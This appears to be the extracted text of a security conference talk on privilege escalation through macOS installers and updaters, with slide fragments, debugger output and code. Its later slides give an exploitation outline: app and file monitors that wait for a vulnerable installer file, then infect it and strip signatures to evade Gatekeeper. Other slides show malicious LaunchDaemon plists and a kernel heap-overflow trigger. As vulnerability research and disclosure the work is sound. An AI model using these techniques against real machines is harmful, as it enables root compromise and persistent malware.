Don’t forget to get back ;)
Photo by Kelly Sikkema on Unsplash | pdf |
@patrickwardle
DEATH BY 1000 INSTALLERS
...it's all broken :(
WHOIS
“leverages the best combination of humans and technology to discover
security vulnerabilities in our customers’ web apps, mobile apps, IoT
devices and infrastructure endpoints”
security for the
21st century
@patrickwardle
issues; bugs; & exploits!
OUTLINE
authorization
core issues
finding 0days
bugs
exploits
(user-assisted) privilege escalation
THE GOAL
infect
trojan
email
exploits
}
1
2 escalate privileges
$_
#_
fake popups (lame)
vulnerabilities
today, we'll focus on finding & exploiting vulnerabilities in
installers/updaters that (with user assistance) provide the
means for local elevation of privileges.
}
(not lame)
today's talk
AUTHORIZATION
executing priv'd actions (ui)
(low-priv'd) apps may need to perform priv'd actions
THE NEED
installing
updating
debugging
system conf
}
most
common
...for me, about 1x a day!
authentication & authorization
BEHIND THE SCENES
security agent:
show authentication dialog
installer:
"I wanna do a
priv'd action"
1
2
3
4
authorization daemon:
authorization database
XPC
XPC
priv'd action!
more info:
"Authorization Services
Programming Guide" -apple
"*OS Internals v.III" -levin
consult auth db
xpc for auth prompt
request via AuthorizationExecuteWithPrivileges()
BEHIND THE SCENES
installer:
"I wanna do a
priv'd action"
1
AuthorizationRef authRef;
AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authRef);
AuthorizationExecuteWithPrivileges(authRef, "/path/to/binary", kAuthorizationFlagDefaults, NULL, NULL);
AuthorizationExecuteWithPrivileges()
define TRAMPOLINE "/usr/libexec/
security_authtrampoline"
AuthorizationExecuteWithPrivileges()
-> AuthorizationExecuteWithPrivilegesExternalForm()
switch (fork()) {
//child
case 0:
execv(trampoline, (char *const*)argv);
$ ls -lart /usr/libexec/security_authtrampoline
-rws--x--x root wheel security_authtrampoline
int main() {
AuthorizationItem right = {EXECUTERIGHT, ...};
AuthorizationRights inRights = { 1, &right };
AuthorizationCopyRights(auth, &inRights, NULL,
kAuthorizationFlagExtendRights |
kAuthorizationFlagInteractionAllowed, &outRights))
execv(pathToTool, (char *const *)restOfArguments);
XPC
# ps aux | grep authd
112 /System/Library/Frameworks/Security.framework/
Versions/A/XPCServices/authd.xpc/Contents/MacOS/authd
# lsmp -p 112 | grep security_authtrampoline
...
send-once --> (1243) security_authtrampoline
# lsmp -p 1243 | grep authd
send-once <-- (112) authd
security_authtrampoline
security_authtrampoline; setuid
authd; servicing authorization requests
BEHIND THE SCENES
authd: "responsible for servicing authorization requests made
by client" -*OS Internals, j levin (p. 92)
2
authorization database
# sqlite3 /var/db/auth.db .dump | grep system.privilege.admin
INSERT INTO "rules" VALUES(135,'system.privilege.admin',1,1,'admin',...
'Used by AuthorizationExecuteWithPrivileges(...).
XPC
XPC
//'system.privilege.admin'
AuthorizationItem right =
{EXECUTERIGHT, ...};
AuthorizationCopyRights(...);
authorization daemon:
consult auth db
xpc for auth prompt
Security Agent; give me creds!
BEHIND THE SCENES
$ lsappinfo processlist
ASN:0x0-0x1001-"loginwindow":
ASN:0x0-0xb00b-"SystemUIServer":
ASN:0x0-0xc00c-"Dock":
...
ASN:0x0-0x43043-"SecurityAgent":
# lsmp -p 112 | grep SecurityAgent
+ send <- (1532) SecurityAgent
send -> (1532) SecurityAgent
send -> (1532) SecurityAgent
+ send-once <- (1532) SecurityAgent
SecurityAgent: "an XPC service
responsible for the UI"
-j levin
XPC messages from authd
to SecurityAgent
int main() {
AuthorizationItem right = {EXECUTERIGHT, ...};
AuthorizationRights inRights = { 1, &right };
AuthorizationCopyRights(auth, &inRights, NULL,
kAuthorizationFlagExtendRights |
kAuthorizationFlagInteractionAllowed, &outRights))
execv(pathToTool, (char *const *)restOfArguments);
security_authtrampoline
XPC
authentication dialog
password 'out of proc'
#_
CORE ISSUES
what's the problem(s)?
trust no one!
AM I LEGIT?
vs.
spoofed?
system generated, albeit malicious?
is the popup on the right:
...and wtf is Slack doing anyways!?
legitimate (promise!)
note: these not bugs/vulnerabilities
osx/proton.b
SPOOFING
"OSX/Proton.B; a brief analysis, at 6 miles up"
-objective-see.com/blog.html
(lldb) po $rax
<AuthorizationWindow: 0x10017f9f0>
(lldb) po [$rax password]
<NSSecureTextField: 0x10010bdb0>
(lldb) po [[$rax password] stringValue]
hunter2
100% fake
handbrake.fr
osx/proton.b
'auth' window code
thanks for the password :/
...but malicious
'LEGITIMATE'
-(void)applicationDidFinishLaunching:(NSNotification *)aNotification {
//create auth ref
AuthorizationRef authRef;
AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authRef);
//exec with privs
// ->will generated system auth popup
AuthorizationExecuteWithPrivileges(authRef, "/path/to/evil/bin", kAuthorizationFlagDefaults, NULL, NULL);
}
slack's (real) icons
creating a 'legit' auth popup
#_
'legit' auth popup
copy into code
example; iWorm
'LEGITIMATE'
#.fs_usage.-w.-f.filesys.
20:28:28.727871..open. ../Library/LaunchDaemons/com.JavaW.plist....
20:28:28.727890..write..B=0x16b....................................
int sub_1cf6() {
*(int16_t *)(pathEnd) = "0/";
if (AuthorizationCreate(0x0, 0x0, 0x0, var_40C) == 0x0)
{
AuthorizationExecuteWithPrivileges(var_40C, path, 0x0, 0x0, 0x0);
AuthorizationFree(var_40C, 0x0);
}
authentication prompt
persistently installing osx/iworm
installer's code
infected apps
'0' binary
...easy but dangerous (& deprecated)
AUTHORIZATIONEXECUTEWITHPRIVILEGES
AuthorizationRef authRef;
AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authRef);
AuthorizationExecuteWithPrivileges(authRef, "/path/to/binary", kAuthorizationFlagDefaults, NULL, NULL);
#_
BetterAuthorizationSample:
"Shows the recommended way to access privileged functionality from a non-
privileged application on Mac OS X" -developer.apple.com
}
AuthorizationExecuteWithPrivileges
local,
non-priv'd,
modifies binary!
performs no validation on
what it is executing (as root)!!!
...often perform unsafe actions!
AUTHORIZED (PRIV'D) TOOLS
#_
assume this is secure
}
load/execute
'unsecured' components
create insecure
temp files
install 'unsecured'
components
but then...
#_
1
2
create:
/tmp/blah.plist
write:
/tmp/blah.plist
move to:
/Library/LaunchDaemons/
3
}
local,
non-priv'd,
modifies plist!
r00t!
FINDING 0days
'user-assisted' priv-escalations
....everybody :(
WHO CALLS AUTHORIZATIONEXECUTEWITHPRIVILEGES
OSStatus AuthorizationExecuteWithPrivilegesExternalForm(const AuthorizationExternalForm * extForm, const char *pathToTool ...)
{
// report the caller to the authorities
aslmsg m = asl_new(ASL_TYPE_MSG);
asl_set(m, "com.apple.message.domain", "com.apple.libsecurity_authorization.AuthorizationExecuteWithPrivileges");
asl_set(m, "com.apple.message.signature", getprogname());
asl_log(NULL, m, ASL_LEVEL_NOTICE, "AuthorizationExecuteWithPrivileges!");
...
$.strings./private/var/log/DiagnosticMessages/*.|.grep.-A.1.AuthorizationExecuteWithPrivileges!....
$AuthorizationExecuteWithPrivileges!......................................................................................................
Slack.
...
VMware.Fusion.
Google.Chrome.
Little.Snitch.Installer.
osascript.
Autoupdate.(Sparkle)
lib/trampolineClient.cpp
Console.app
*.asl logs
}
vulnerable?
q: is binary, passed to
AuthorizationExecute...
writable* by non-priv'd code?
authentication attempts are logged
is it writable?
AUTHORIZATIONEXECUTEWITHPRIVILEGES() PAYLOAD
AuthorizationExecuteWithPrivileges(authRef, "/sbin/reboot",
kAuthorizationFlagDefaults, NULL, NULL);
vs.
AuthorizationExecuteWithPrivileges(authRef, "~/Downloads/Install.app",
kAuthorizationFlagDefaults, NULL, NULL);
world-writable, but exec'd as r00t
#.procmon.
new.process:.security_authtrampoline.(24977).
path:./usr/libexec/security_authtrampoline.
pid:.24977.
args:.
..."~/Downloads/Install.app",.
......
process monitor
'security_authtrampoline'
what is it exec'ing?
}
can non-priv'd code
modify it?
#.lldb.<path/to/app>.
(lldb).b.AuthorizationExecuteWithPrivileges.
(lldb).r.
....
*.thread.#1:.Security`AuthorizationExecuteWithPrivileges
stop.reason.=.breakpoint.1.1.
(lldb).x/s.$rsi.
0x100000fa2:."~/Downloads/Install.app"
debugger (lldb)
often 'unsafe' things!
WHAT DOES AUTHORIZED PROCESS (THEN) DO?
#_
}
load/execute
'unsecured' components
create insecure
temp files
install 'unsecured'
components
#.fs_usage.-w.-f.filesystem.|.grep.Installer.
stat64.../Library/LaunchDaemons/com.insecure.plist.......................Installer.
access.../Library/LaunchDaemons/com.insecure.plist.......................Installer.
rename...~/Downloads/Install.app/Contents/Resources/com.insecure.plist...Installer.........................................................................................
chown..../Library/LaunchDaemons/com.blah.plist...........................Installer.
file monitor
Launch Daemons
<key>RunAtLoad</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/Library/evil.bin</string>
</array>
plist (executed as r00t)
persisted as r00t :/
plist
BUGS
if(no CVE) then 0day;
dropcam
INTERNET OF THINGS
$.ls.-lart./var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/dropcam_kwvZ7y/Setup.
Dropcam.(Macintosh).app/Contents/MacOS/Setup.Dropcam.(Macintosh).
-rwxrwxrwx.1.patrick.staff..Setup.Dropcam.(Macintosh)
permissions of (copied) installer
$.lldb.Setup.Dropcam.(Macintosh).app.
Launched.parent.
Copying.Setup.Dropcam.(Macintosh).app.to./var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/dropcam_kwvZ7y.
Launching.child.with.elevated.privileges.from./var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/
dropcam_kwvZ7y/Setup.Dropcam.(Macintosh).app/Contents/MacOS/Setup.Dropcam.(Macintosh).
Process.96025.stopped.(Security`AuthorizationExecuteWithPrivileges).
(lldb).x/x.$esp+8.
0xbffff6c4:.0x0020ac50.
(lldb).x/s.0x0020ac50.
0x0020ac50:."/var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/dropcam_kwvZ7y/Setup.Dropcam.
(Macintosh).app/Contents/MacOS/Setup.Dropcam.(Macintosh)"
copy & exec (auth'd) installer from tmp dir!
#_
google chrome
BROWSERS
#.procmon.
new.process:.security_authtrampoline.(1508).
path:./usr/libexec/security_authtrampoline.
pid:.24977.
args:.
..."/Applications/Google.Chrome.app/Contents/Versions/59.0.3071.115/Google.Chrome.Framework.framework/Resources/keystone_promote_preflight.sh",.
......
process monitor
keystone_promote_preflight.sh
}
bash script
owned by user
-rwxr-xr-x@ 1 user
executed as r00t
[bug 593133] "AuthorizationExecuteWithPrivileges is deprecated
...as per discussion no good replacement exists" #wontfix
(non-admin)
install
little snitch
SECURITY TOOLS
big snitch ;)
Launch Daemons
1
2
3
plist
2
3
firewall
is elevated
writes a plist to temporary
(user-writable) location
moves plist into launch daemons
& chowns it to r00t
}
installer/updater:
<key>RunAtLoad</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/path/2/lsdaemon</string>
</array>
editable by all!
1
little snitch
SECURITY TOOLS
(lldb).b.ptrace.
Breakpoint.1:.=.libsystem_kernel.dylib`__ptrace.
(lldb).br.com.add.1.
Enter.your.debugger.command(s)...
>.thread.return..
>.continue.
>.DONE.
disable anti-debug
char -[ODShell writePlist:owner:mode:toFile:]
{
...
r14 = [NSTemporaryDirectory() stringByAppendingPathComponent:
[NSString stringWithFormat:@"at.obdev.LittleSnitchInstaller.temp.%@.plist",
[arg5 lastPathComponent]]];
[arg2 writeToFile:r14 atomically:0x0];
}
move plist & chown
(lldb).b..-[ODShell._executeCommandAsRoot:].
(lldb).*.thread.#1:.-[ODShell._executeCommandAsRoot:]
stop.reason.=.breakpoint.1.1.
(lldb).po.$rdx.
echo.$$;.{./bin/rm.-f."$PLIST";./bin/mv."$TMPFILE"."$PLIST";./usr/sbin/chown.root:wheel."$PLIST";./bin/chmod.0644."$PLIST";.}.2>&1.
(lldb).po.[[NSProcessInfo.processInfo].environment].
PLIST.=."/Library/LaunchDaemons/at.obdev.littlesnitchd.plist";.
TMPFILE.=."/var/folders/hp/vv2sj3014271lklmjkyfjfl80000gn/T/
at.obdev.LittleSnitchInstaller.temp.at.obdev.littlesnitchd.plist.plist";
save plist to temporary location
patched: CVE-2017-2675
vmware fusion
VIRTUALIZATION SOFTWARE
(lldb).b.AuthorizationExecuteWithPrivileges.
* thread.#1:.Security`AuthorizationExecuteWithPrivileges.
* stop.reason.=.breakpoint.1.1.
frame.#0:.0x00007fff928cef77.Security`AuthorizationExecuteWithPrivileges.
(lldb).x/s.$rsi.
"/var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/fusionAutoupdate.JuFYAU/preflight".
$.ls.-lart./var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/fusionAutoupdate.JuFYAU/preflight.
-r-xr-xr-x..1.user..staff
#_
scripts extracted to temp
(user-writable) directory
executed as r00t
}
executing world-writable scripts...as r00t
f-secure freedome
VPN SOFTWARE
#.procmon.
new.process:.security_authtrampoline.(2580).
path:./usr/libexec/security_authtrampoline.
pid:.24977.
args:.
..."/System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid",.
...."auth.11",.
...."/System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid",.
...."/bin/sh",.
...."-c",.
...."sh.'/Applications/Freedome.app/Contents/Resources/install_or_update_plists.sh'.'/Applications/Freedome.app'"
process monitor: 'install_or_update_plists.sh'
SettingsManager::createConfigsAndReinstallDaemonIfNeeded
{
...
lea rdi, "do shell script "%1" with administrator privileges"
...
lea rdi, "osascript"
...
lea rdi, "-e"
...
call QProcess::start(QString const&,QStringList const&, ...)
}
freedome's disassembly
exec script as root, via applescript
sophos av
ANTI-VIRUS
$.lldb."~/Downloads/SophosInstall/Sophos.Installer.app".
Current.executable.set.to.'~/Downloads/SophosInstall/Sophos.Installer.app'.(x86_64)..
(lldb)..b.AuthorizationExecuteWithPrivileges.
(lldb).r.
* thread.#1:.Security`AuthorizationExecuteWithPrivileges.
* stop.reason.=.breakpoint.1.1.
frame.#0:.0x00007fff928cef77.Security`AuthorizationExecuteWithPrivileges.
(lldb).x/s.$rsi.
0x105b56f70:."~/Downloads/SophosInstall/Sophos.Installer.app/Contents/MacOS/tools/InstallationDeployer".
(lldb).x/2x.$rcx.
0x7fff5fbfebe0:.0x0000000100031477.0x0000000100031481.
(lldb).x/s.0x0000000100031477.
0x100031477:."--install".
(lldb).x/s.0x0000000100031481.
0x100031481:."--ui"
SophosInstall.zip
InstallationDeployer --install --ui
#_
sparkle; ...used lots
AUTO-UPDATE LIBRARY
!
"Apps using Sparkle"
github.com/sparkle-project/Sparkle/issues/717
Acorn
Activity Audit
Adapter
Adium
Air Display Host
Air Video Server HD
AirParrot 2
AirRadar
AirServer
Airfoil
Airfoil Speakers
Airfoil Video
Player
Alarm Clock Pro
Alarm Clock Pro 2
Ambify
Antidote 8
AppCleaner
AppDelete
AppViz
AppZapper
Archiver
Art Text 2
Audio Hijack
Audio Hijack Pro
Audiomate
Audirvana Plus
Bartender
Bartender 2
Battery Guardian
Battery Report
BeadedSpice
Beamer
Bento 3
BetterTouchTool
BetterZip
BibDesk
Billings
Bit Slicer
BitTorrent
Bitcasa
Bittorrent Sync
Bleep
Blue Jeans
Scheduler for Mac
BoinxTV
BootXChanger
Borderlands
Bowtie
Boxer
Bricksmith
CCMenu
CDpedia
Cactus
Cakebrew
Camtasia 2
Capo
Carbon Copy Cloner
Carousel
Cathode
Chatology
CheatSheet
Chicken
ChitChat
Chocolat
Cinch
Cisco Jabber
ClamXav
CleanMyMac 2
Clippy
CloudApp
CloudyTabs
Clyppan
Cocktail
CocoaPods
Coconut ID
CocosBuilder
Coda 2
CodeKit
CodeRunner
Colloquy
ColorFinale
ColorMunki Display
ColorMunki Smile
Comic Life
Conductr Server
Contour
ControlPlane
ControllerMate
CopyClip
Core Data Editor
Corel Painter
Sketch Pad
Cornerstone
CoverScout 3
Crashlytics
CrossOver
Crunch
Cyberduck
DEVONthink
DEVONthink Pro
DS_Store Cleaner
DaisyDisk
Dash
Dashlane
Data Rescue 3
Default Folder X
Deploymate
DesignPro
Deskovery
Desktop Curtain
DesktopShelves
Disk Drill
DiskAid
DiskMaker X
DockMod
Downie
DrawBerry
Drive Genius 3
DropZone 3
DropletManager
Dropshare
Dropzone-2
DuetDisplay +
DynDNSUpdater
Elmedia Player
Eloquent
Ember
Enjoy2
Evernote
Evom
Exhaust
Fabric
Fake
Fantastical
Feeder
Feeder 3
Festify
Final Vinyl
FinderPath
Fitbit Connect
Flashlight
Flavours2
FlexiGlass
Fluid
Flux
Focus
Focus 2
Font Finagler
FontAgent Pro 6
FontStand
ForkLift
FotoMagico
Fraise
Framer Studio
GPG Keychain
GeekTool
Geekbench
Geekbench 3
Get Backup 2.
Get iPlayer
Automator
GitUp
Gitbox
Gitter
Glyphs
Go2Shell
Goofy
GraphicConverter 7
GraphicConverter 8
GraphicConverter 9
GridMount
GrowlMail
Hammerspoon
Handbrake
Harvest
Hedgewars
Hex Fiend
HipChat
Hirundo
Hobo
Hocus Focus
Hopper
Hopper Disassembler
v3
Hopper/Hopper
Debugger Server
HoudahGeo
HoudahSpot
Hypernap
iExplorer
iFunBox
iPhone Backup
Extractor
iPhone Explorer
iPlayer Automator
iSale 5
iShowU HD
iSkysoft iTube
Studio
iStopMotion
iStumbler
iSubtitle
iTeleport Connect
iTerm
iTerm-2
iTools
iVPN
IP Scanner
IPNetMonitor X
IconJar
Image2Icon
ImageAlpha
ImageOptim
Impactor
InVisible
Infinit
Inklet
InsomniaX
Intensify Pro
Isolator
Itsycal
JPEGmini Pro
JewelryBox
JollysFastVNC
Jumpcut
Kaleidoscope
Karabiner
KeepingYouAwake
Keka
Kext Wizard
KisMAC
Knock
LaTeXiT
Last.fm
LevelHelper
LineIn
LiquidCD
LiteIcon
Live Interior 3D
Pro
LiveReload
Loading
Lookback
Loop Editor
Lumio
Lyve
M3Unify
MAMP
MDRP
MPEG2 Works 4
MPlayer OSX
Extended
MPlayerX
MTR 5
MacDown
MacJournal
MacPilot
MacVim
Mactracker
Mailbox
MediaInfo Mac
MenubarStats
Messenger
MetaZ
Minbox
MindNode Pro
Minitube
Miro
Miro Video
Converter
Money
MongoHub
Monodraw
Monolingual
Mou
Mou +
MouseRecorder
MoveToAppleMusic
MyHarmony
Myo Connect
Name Mangler
NameChanger
NetNewsWire
NetSpot
NiceCast
Notational Velocity
NoteBook
Notifyr
Noun Project
OSCulator
OSCulator ƒ
Octohub
Octopus
Opacity
OpenDNS Updater 3.0
OpenEmu
PDFpen
Pacifist
PaintCode
PaintCode 2
Paintbrush
Panda Mac
Paparazzi!
Paperless
Paw
Phone To Mac
PhoneExpander
PhoneView
PhotoPresenter
Phun
PhysicsEditor
Picturesque
Piezo
Platypus
PlistEdit Pro
Plug
Poedit
Power Manager
Power Manager
Professional
PowerPhotos
PowerTunes
ProjectPlus
PwnageTool
QuickRadar
Quicken 2007
Quicken 2016
Quinn
Radium
Rdio
RealPlayer Cloud
Reeder
Reflector
Reflector 2
Reggy
Remote Activity
RescueTime
Retrode Utility
Reveal
RightFont
Ring
Rinoceros
RipIt
RoadMovie
RoboFont
S3Hub
SMART Utility 2.1.2
SafariCacheExplorer
Sandvox
SaneDesk
Scapple
ScreenFlow
Scrivener
Seil
SelfControl
Senuti
Sequel Pro
Shapes
Sharepod
Sidestep
Silverback
Simple Comic
Simul80
SizeUp
Sketch
Sketch Toolbox
Skim
SkyFonts
Slack
Sleep Monitor
Snagit
Snapheal
Snapheal PRO
Sofortbild
SongGenie
Soulver
Sound Studio
SoundSoap
SourceTree
SousChef
Spark
Splashtop
Splice
Stand
Stay
StoryMill
StuffIt Expander
Subler
Subliminal
Submerge
Swift Publisher 3
TCMPortMapper
TG Pro
Tagalicious
Tagger
Tansmit
TeX Live Utility
TeXnicle
TeamViewer
TechTool Pro 8
Teleport
TexShop
Textual
TexturePacker
The Unarchiver
Throng
Timing
Toast 14 Titanium
Toast Titanium
Tokens
Tomahawk
Tonality Pro
Tower
Trailer
Trampoline
Transmission
Transmit
Trello
TripMode
Triumph
TunesKit for Mac
TunnelBear
Tunnelblick
TurboTax 2012-2015,
at least
TwistedWave
Twitterrific
Typora
uTorrent
UnRarX
UnicodeChecker
Unison
Übersicht
VLC
VLS
Vagrant Manager
VelOCRaptor
Versions
VideoMonkey
VideoSpec
Vienna
Viscosity
VisualHub
Vitamin-R
Vivaldi
Vox
VyprVPN
Wallsaver
Waltr
WebKit
WhatSize
Whiskey
Winclone
Wine
WineBottler
WireTap Studio
Witgui
Wondershare
AllMyTube
Wondershare Data
Recovery
Wondershare Video
Converter Ultimate
X-LosslessDecoder
XLD
XQuartz
Xslimmer
Yarg
Yate
ZFS Plugin
Zeplin
Zoom
Zulip
Zwoptex
oh f**k
list from 2016
app (to be vulnerable) must
use recent ver. of sparkle
user
an example; hopper.app
SPARKLE
time to update!
(lldb).process.attach.--name.Autoupdate.--waitfor
Executable.module.set.to."/Users/user/Library/Caches/com.cryptic-apps.hopper-web-4/org.sparkle-
project.Sparkle/Autoupdate.app/Contents/MacOS/Autoupdate"..
(lldb).b.AuthorizationExecuteWithPrivileges.
Process.15771.stopped.
Security`AuthorizationExecuteWithPrivileges:.
(lldb).x/s.$rsi.
"/Users/user/Library/Caches/com.cryptic-apps.hopper-web-4/org.sparkle-project.Sparkle/
Autoupdate.app/Contents/MacOS/fileop
update server
Autoupdate.app
fileop
fileop
modifiable by un-priv'd code
}
executed as r00t
user
hijacking auth'd copies
AND APPLE?
user authenticates
item (naively) copied
}
Slack.zip
...into /Applications
$.shasum.-a.1.~/Downloads/Slack.app/Contents/MacOS/Slack.
0a05ccc21943b543dd0326a7b5f7918d881d67f6.
$.xattr.-rc.~/Downloads/Slack.app.
$.cat.-.>>.~/Downloads/Slack.app/Contents/MacOS/Slack..
AAAAA^C.
$.shasum.-a.1./Applications/Slack.app/Contents/MacOS/Slack..
8e605dad6112b601bbdd085dd0d3b97d5a1905e6.
$.ps.aux.|.grep.Slack.app.
user...17150.../Applications/Slack.app/Contents/MacOS/Slack
'infected' Slack runs
...for any user
no verification, that the
item wasn't modified
user
Installer.app
AND APPLE?
$.codesign.-d.--entitlements.-./System/Library/CoreServices/Installer.app..
Executable=/System/Library/CoreServices/Installer.app/Contents/MacOS/Installer.
<?xml.version="1.0".encoding="UTF-8"?>.
<plist.version="1.0">.
<dict>.
.
<key>com.apple.private.securityd.stash</key>.
.
<true/>.
</dict>.
</plist>.
app's entitlements
authentication
handler for .pkgs
$.less./System/Library/CoreServices/Installer.app/Contents/Info.plist.
<key>CFBundleDocumentTypes</key>.
<array>.
...<dict>.
....<key>CFBundleTypeExtensions</key>.
....<array>.
.....<string>pkg</string>.
....</array>.
....<key>LSIsAppleDefaultForType</key>.
....<true/>.
............................
...</dict>.
...
default .pkg handler
Installer.app loads unsigned dylibs??
AND APPLE?
/Plugins
(lldb).process.attach.--name.Installer.--waitfor.
Process.460.stopped.
Foundation`-[NSFileManager.createDirectoryAtPath:.
..............withIntermediateDirectories:attributes:error:].
(lldb).po.$rdx.
/tmp/com.apple.installerie9PZNtz/FollowUs.bundle.
....
Process.460.stopped.
libdyld.dylib`dlopen.
(lldb).x/s.$rdi.
"/tmp/com.apple.installerie9PZNtz/FollowUs.bundle
installer doing what!?
/tmp
$.ls.-lart./tmp/com.apple.installerie9PZNtz/FollowUs.bundle.
-rwxr-xr-x..1.user..staff
/tmp is writeable!
unsigned dylib; loaded :/
BEYOND ROOT
subverting 's OS installer
#.tail.-f./var/log/install.log.
InstallAssistant:.Blessing./Volumes/Macintosh.HD.--..
/Volumes/Macintosh.HD/macOS.Install.Data.
InstallAssistant:.******.Setting.Startup.Disk.******.
InstallAssistant:.******.Path:./Volumes/Macintosh.HD.
InstallAssistant:.******.Boot.Plist:./Volumes/Macintosh.HD/macOS.Install.Data/com.apple.Boot.plist.
InstallAssistant:./usr/sbin/bless.-setBoot.-folder./Volumes/Macintosh.HD/.
macOS.Install.Data.-bootefi./Volumes/Macintosh.HD/macOS.Install.Data/boot.efi.-options.config="\macOS.
Install.Data\com.apple.Boot".-label.macOS.Installer.
Install macOS
Sierra.app
InstallESD.dmg
'new' os
codesign.-d.--entitlements.-./Applications/Install\.macOS\.
Sierra.app/Contents/Frameworks/OSInstallerSetup.framework/
Versions/A/Resources/osishelperd.
<plist.version="1.0">.
...<dict>.
......<key>com.apple.private.securityd.stash</key>.
......<true/>.
......<key>com.apple.rootless.install</key>.
......<true/>.
......<key>com.apple.rootless.install.heritable</key>.
......<true/>.
...</dict>.
</plist>
blessing, to boot off
InstallESD.dmg
osishelperd's entitlements
subverting 's OS installer
BEYOND ROOT
once the system is booted of an infected image,
all 'OS-level' protections are irrelevant
create malicious library that
forwards exports to (re-named) dylib
rename dependent dylib
move/rename malicious library to
match (original) dylib
1
2
3
'dylib proxying'
IASUtilities
IASUtilities_ORIG
OS Installer
unless entitled
runtime 'injection' into OS Installer
subverting 's OS installer
BEYOND ROOT
Install macOS
Sierra.app
osishelperd
#.ps.aux.|.grep.-i.[j]ava.
root...90.../Library/Application.Support/JavaW/JavaW.
#.less./System/Library/LaunchDaemons/com.JavaW.plist.
..<key>ProgramArguments</key>.
..<array>.
....<string>/Library/Application.Support/JavaW/JavaW</string>.
..</array>.
..<key>RunAtLoad</key>.
..<true/>.
#.rm./System/Library/LaunchDaemons/com.JavaW.plist.
rm:.Operation.not.permitted
osishelperd blesses
infected images
within installer app,
infect os image (.dmg)
system boots of infected
image to reinstall OS
1
2
3
the attack:
not validated !
bypass SIP
survive an OS upgrade
CVE-2017-6974
dylib proxy
a ring-0 heap overflow
BEYOND ROOT
void audit_arg_sockaddr(struct kaudit_record *ar, struct vnode *cwd_vp, struct sockaddr *sa)
{
int slen;
struct sockaddr_un *sun;
bcopy(sa, &ar->k_ar.ar_arg_sockaddr, sa->sa_len);
switch (sa->sa_family) {
case AF_UNIX:
...
}
struct kaudit_record {
struct audit_record k_ar;
u_int32_t k_ar_commit;
...
};
struct audit_record {
u_int32_t ar_magic;
int ar_event;
int ar_retval;
...
struct sockaddr_storage ar_arg_sockaddr;
int ar_arg_fd2;
...
};
#define _SS_MAXSIZE 128
struct sockaddr_storage {
u_char ss_len;
sa_family_t ss_family;
char __ss_pad1[_SS_PAD1SIZE];
int64_t __ss_align;
char __ss_pad2[_SS_PAD2SIZE];
};
relevant structs
bcopy() in
audit_arg_sockaddr()
source ('src'): struct sockaddr *sa
destination ('dst'): struct
sockaddr_storage k_ar.ar_arg_sockaddr
audit_arg_sockaddr()
bytes to copy ('len'): sa->sa_len
ring-0 heap overflow
BEYOND ROOT
can we make
socket > _SS_MAXSIZE?
#define SOCKET_SIZE 200
//create unix socket
int unixSocket = socket(AF_UNIX, SOCK_STREAM, 0);
//alloc/fill
char* addr = malloc(SOCKET_SIZE);
memset(addr, 0x41, SOCKET_SIZE);
//init
(addr)->sun_len = SOCKET_SIZE;
(addr)->sun_family = AF_UNIX;
//bind
bind(unixSocket, addr, SOCKET_SIZE));
(lldb).x/xb.0xffffff801a4c26f8.
0xffffff801a4c26f8:.0xfa.0x01.0x41.0x41.0x41.0x41.0x41.0x41.
0xffffff801a4c2700:.0x41.0x41.0x41.0x41.0x41.0x41.0x41.0x41......
(lldb).x/i.$pc.
->.0xffffff80063eb6da:.48.8b.00.movq.(%rax),.%rax.
(lldb).reg.read.$rax.
rax.=.0x4141414141414141
kernel ptr = 0x4141414141414141
unix socket (200 bytes)
patched 10.12.4/iOS(?)
(AFAIK, no CVE/credit)
yes!
EXPLOITS
making these useful
efficient exploitation, as limited-priv'd code
GENERAL OVERVIEW
2
3
1
4
if(vulnerable app)
then
{ watch for 'vulnerable' file }
then
{ infect 'vulnerable' file }
enjoy r00t!
#_
go time!
watch for vulnerable application
APP MONITOR
1
-(void)register4Notifications {
//register for 'app launched' notification
[[[NSWorkspace sharedWorkspace] notificationCenter] addObserver:self
selector:@selector(appEvent:) name:NSWorkspaceDidLaunchApplicationNotification object:nil];
//register for 'app terminated' notification
[[[NSWorkspace sharedWorkspace] notificationCenter] addObserver:self
selector:@selector(appEvent:) name:NSWorkspaceDidTerminateApplicationNotification object:nil];
}
-(void)appEvent:(NSNotification *)notification {
//app name
NSString* app = notification.userInfo[@"NSApplicationName"];
//ignore apps we don't care about
if(YES != [app isEqualToString:TARGET_APP]){
//bail
goto bail;
}
//launched
if(YES == [notification.name isEqualToString:@"NSWorkspaceDidLaunchApplicationNotification"]){
//start monitoring
// ->wait for vulnerable file
}
//exited
else {
//stop monitoring
}
....
}
application start/stop monitor
watch for vulnerable file (!polling)
FILE MONITOR
2
-(void)register4Notifications {
CFStringRef path = CFStringCreateWithCString(kCFAllocatorDefault, TARGET_FILE, kCFStringEncodingUTF8);
CFArrayRef paths = CFArrayCreate(NULL, (const void **)&path, 1, &kCFTypeArrayCallBacks);
CFRunLoopRef loop = CFRunLoopGetCurrent() ;
FSEventStreamRef stream = FSEventStreamCreate(NULL, (FSEventStreamCallback)eventCallback, NULL, paths,
kFSEventStreamEventIdSinceNow, 0, kFSEventStreamCreateFlagFileEvents );
FSEventStreamScheduleWithRunLoop(stream, loop, kCFRunLoopDefaultMode);
FSEventStreamStart(stream);
CFRunLoopRun();
...
}
void eventCallback(FSEventStreamRef stream, void* callbackInfo, size_t numEvents, void* paths, const
FSEventStreamEventFlags eventFlags[], const FSEventStreamEventId eventIds[]) {
//process events
for(int i = 0; i<numEvents; i++){
//item creation event?
if(0 != (eventFlags[i] & 0x100 )){
//target file created
// ->hijack/infect
}
}
FSEventStreamFlushSync( stream ) ;
file monitor
infect script/plist/binary...root!
FILE INFECTION
3
}
scripts/plists
}
machO binaries
remove xattrs
(avoid gKeeper validations)
unsign
don't we have
to win a race?
#
'massive'
time window
...always win :)
yes, but....
